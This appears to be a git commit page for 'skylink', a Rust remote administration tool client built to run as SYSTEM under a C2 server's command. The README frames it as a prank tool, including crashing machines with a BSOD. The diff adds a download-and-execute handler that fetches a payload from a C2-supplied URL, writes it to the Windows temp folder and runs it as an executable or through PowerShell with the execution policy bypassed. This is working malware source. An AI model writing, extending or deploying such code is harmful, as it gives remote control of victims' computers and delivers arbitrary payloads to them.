feat: dnx core

This commit is contained in:
Xory 2025-12-12 22:36:34 +02:00
parent f4e5a02de7
commit a208b0d0ce
4 changed files with 55 additions and 3 deletions

View file

@ -1 +1,14 @@
# skylink
A R.A.T. (Remote Administration Tool) made mostly as an in-joke between some friends of mine. Originally intended for learning purposes, they volunteered to install the initial prototype (A.K.A. Skylink 0.1) on their computers, which I used for some pranks, but it was unreliable and held together by hopes and prayers, so here I am making a rewrite!
This uses the same tech stack (Rust, Tokio, Tokio-tungstenite) however this is *only* the client, as the C2 server is being rewritten in Python.
Much like 0.1, this version of Skylink uses JSON over WebSockets to communicate with a C2 server, however this time the WebSocket implementation is far more reliable and the JSON protocol is different, being easier to understand.
It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, because more privileges means more potential for tomfoolery. For example, running as SYSTEM lets me enable test mode, install [BugCheck2Linux](https://github.com/NSG650/BugCheck2Linux) and cause a BSOD.
## roadmap
- [X] reliable websockets
- [X] run\_as\_user
- [X] basic commands
- [ ] download and execute
- [ ] dnx python
- [ ] windows service

View file

@ -30,7 +30,7 @@ pub enum PayloadType {
pub struct DnxParams {
pub url: String,
pub name: String,
pub args: String,
pub args: Vec<String>,
pub run_as_system: bool,
pub file_type: PayloadType,
}
@ -78,6 +78,45 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
let skylink_ver = "1.0.0";
if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
}
Command::Dnx { params } => {
log(LogLevel::Debug, LOG_PATH, format!("s1")).await;
// 1. Toss the file into temp
let request = reqwest::get(params.url).await?.bytes().await?;
let file_name = params.name;
let file_path = format!("C:\\Windows\\Temp\\{file_name}");
std::fs::write(&file_path, &request)?;
// 2. Handle possible file types.
log(LogLevel::Debug, LOG_PATH, format!("s2")).await;
let mut _exec_command = String::new();
let mut _exec_args: Vec<String> = vec![];
match params.file_type {
PayloadType::Executable => {
_exec_command = file_path.clone();
_exec_args = params.args;
}
PayloadType::Powershell => {
_exec_command = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe".to_string();
_exec_args = vec!["-ExecutionPolicy".to_string(), "Bypass".to_string(), "-File".to_string(), file_path.clone()];
_exec_args.extend(params.args.iter().cloned());
}
PayloadType::Python => todo!("py payload handling"),
}
// 3. Handle user vs system execution.
log(LogLevel::Debug, LOG_PATH, format!("s3")).await;
if params.run_as_system == true {
std::process::Command::new(&_exec_command).args(&_exec_args).output()?;
} else {
let mut command_line_args = vec![format!("\"{}\"", _exec_command)];
command_line_args.extend(_exec_args);
let command_line = command_line_args.join(" ");
run_as_user(&_exec_command, &command_line)?;
}
// this was way easier than i expected... assuming it works :pilgrim2:
Ok(format!(""))
}
_ => todo!(),
}
}

View file

@ -34,7 +34,7 @@ pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
// Some parts of this function were generated by an LLM. I'm taking note of this in case a
// weird barely detectable bug pops up, as LLMs tend to generate.
async fn websocket_handler(ws_tx: WsTx) {
pub async fn websocket_handler(ws_tx: WsTx) {
use std::time::Duration;
use tokio_tungstenite::connect_async;

View file

@ -1,7 +1,7 @@
use futures_util::{SinkExt, stream::StreamExt};
use skylink::lib::logger::{LogLevel, log};
use skylink::{LOG_PATH, WS_URL};
use skylink::{WsTx, eval_command, lib::websockets::websocket_handler, lib::websockets::reconnect_websocket};
use skylink::{WsTx, eval_command, lib::websockets::reconnect_websocket, lib::websockets::websocket_handler};
use std::sync::Arc;
use tokio::sync::Mutex;
use tokio_tungstenite::tungstenite::protocol::Message;